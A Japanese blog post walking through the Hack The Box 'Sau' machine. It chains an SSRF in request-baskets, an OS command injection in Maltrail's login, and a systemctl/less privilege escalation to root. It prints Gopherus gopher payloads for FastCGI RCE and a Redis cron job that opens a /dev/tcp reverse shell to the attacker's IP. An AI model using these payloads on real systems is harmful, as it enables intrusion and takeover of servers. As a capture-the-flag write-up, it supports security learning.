LoginSignup
3
0

【Hack The Box】Sau【WriteUp】

Last updated at Posted at 2024-01-08

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Sau」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery

ポートスキャン

今回はRustScanで高速スキャンしてみた。

┌──(root㉿kali)-[~]
└─# rustscan -a  10.129.15.61 --top --ulimit 1500
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 1500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.15.61:22
Open 10.129.15.61:55555
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-11 05:39 EDT
Initiating Ping Scan at 05:39
Scanning 10.129.15.61 [4 ports]
Completed Ping Scan at 05:39, 0.35s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:39
Completed Parallel DNS resolution of 1 host. at 05:39, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:39
Scanning 10.129.15.61 [2 ports]
Discovered open port 22/tcp on 10.129.15.61
Discovered open port 55555/tcp on 10.129.15.61
Completed SYN Stealth Scan at 05:39, 0.30s elapsed (2 total ports)
Nmap scan report for 10.129.15.61
Host is up, received echo-reply ttl 63 (0.28s latency).
Scanned at 2023-07-11 05:39:14 EDT for 1s

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
55555/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

ポート22、55555が公開されてそう。
実際に55555にアクセスしてみると、以下のようなサイトが表示される。
1.png

さて、調査開始だ。

Initial Access

CVE-2023-27163

このサイトのResponseをささっと調べると以下のバージョン表示を見つける。
2.png
request-basketsのVersion 1.2.1とのことなのでこれを探ってみる。
そうすると以下のGistを見つける。

参考のURLを確認してみると実際のPoCが記載されているサイトを発見する。

SSRFの脆弱性のようだ。自身が作成する{name}のバスケットのAPI/api/baskets/{name}に以下のPOSTデータを投げるとSSRFの脆弱性がセットされ、このバスケットのURL(10.129.15.61:55555/{name})にアクセスした際に発火するみたいだ。

{
  "forward_url": "http://127.0.0.1:[PORT]/",
  "proxy_response": false,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

というわけでSSRFは内部へのリクエストになるので、そこからコマンドが発火するようなサービスが内部で立ち上がっているか列挙することが大事になるのですが、面倒なので2つほどコマンドを試してみることにした。

以下のGopherusのToolを利用する。

RCE - fastcgi

cgiが内部で動いていればRCEが発火するので、試してみる。
ping -c 3で確認

┌──(root㉿kali)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  
Terminal command to run:  ping -c 3 10.10.14.196

Your gopher link is ready to do SSRF: 

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH74%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00J%04%00%3C%3Fphp%20system%28%27ping%20-c%203%2010.10.14.196%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

RCE用のPayloadを作成してもらった。これを叩き込む。
3.png
セット完了。続いて発火するか確認する。
4.png
うん、tcpdumpしてみたけど何も応答がない。んじゃ次。

Reverseshell - redis

続いてredisが内部で動いている場合のreverseshellだ。
これも先ほどと同様にgopherusを利用する。

┌──(root㉿kali)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit redis  


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): reverseshell

Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 10.10.14.196
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis : 

Your gopher link is ready to get Reverse Shell: 

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/10.10.14.196/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Before sending request plz do `nc -lvp 1234`

-----------Made-by-SpyD3r-----------

このPayloadを埋め込む。
5.png
6.png
発火しなかったのでこれもダメみたいだ。
大人しく列挙します。

Forward URL

先ほどのSSRFはforward_urlに宛先を書き込んでいたので、GUIの表示から宛先の編集を実施した。
とりあえずポート80番を指定する。
7.png
さて、以下のようにResponseが帰ってきた。
8.png
mailtrail??v0.53と記載されているのでこの脆弱性を調べる。

OS cmd Injection

以下のサイトを見つけた。

mailtrailのログイン機能がポート8338にあってそこにusernameのPOSTパラメータへOSコマンドインジェクションが通せるといった内容だ。
じゃぁ通してみますか。Portを8338に設定。
9.png
アクセスしてみる。
10.png
Login failedの表示がでるので基本的にログイン機構がここに存在しそうである。
続いてPOSTデータを送信するのだが、ここら辺はrequest-basketsさんで以下の設定にしてみるとデータを渡すことが出来た。
11.png
ping -c 3で試してみる。
12.png
ピンが来たのでcmd injection出来そうなのが分かった。
んじゃRevshellを叩き込みます。

Reverseshell

御用達の以下サイトを参考にReverseShellのコマンドを作成

リバースシェル確立のために受け側を用意しておく。

┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444           
listening on [any] 4444 ...

やっぱpty打ってくれるPythonから試さないとね!
13.png
14.png
シェルをゲットしました。

interactive shell

とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。

Ctrl+Zで接続をバックグラウンドにし、以下のコマンドを実行する。

puma@sau:/opt/maltrail$ ^Z
zsh: suspended  nc -lvnp 4444
                                                                                                                                                            
┌──(root㉿kali)-[~]
└─# stty raw -echo; fg
[1]  + continued  nc -lvnp 4444
                               export TERM=xterm-256col
puma@sau:/opt/maltrail$ export SHELL=bash
puma@sau:/opt/maltrail$ 
puma@sau:/opt/maltrail$ 

これでUser権限ゲットです!!!

Privilege Escalation

sudo -l

とりあえずsudo -lで特権で使えそうなファイルやコマンドを探してみる。

puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$ 

ほう。んじゃこのtrail.serviceの中身を見てみるか。

puma@sau:/etc/systemd/system$ cat trail.service 
[Unit]
Description=Maltrail. Server of malicious traffic detection system
Documentation=https://github.com/stamparm/maltrail#readme
Documentation=https://github.com/stamparm/maltrail/wiki
Requires=network.target
Before=maltrail-sensor.service
After=network-online.target

[Service]
User=puma
Group=puma
WorkingDirectory=/opt/maltrail
ExecStart=/usr/bin/python3 server.py
Restart=on-failure
KillMode=mixed

[Install]
WantedBy=multi-user.target

/opt/maltrailの階層も、server.pyも編集できそうにないので、GTFOBinsのようにExecStartでExploitするのはよろしくなさそう。であれば別ルートがあるかどうかGoogleさんに聞いてる。。。

CVE-2023-26604

いいものを見つけた。
以下の記事を参考にしてほしい。

Display設定によってlessのコマンドに権限が渡されることになるようなので、途中でシェルなどを呼び出せるようだ。実際に試してみた。
15.png
はい、Root権限ゲットだぜ!

まとめ

16.png
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxはバージョンとCVEを追っていくだけだったのである程度簡単だったのではないかと思います。
これぞEasy!!

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0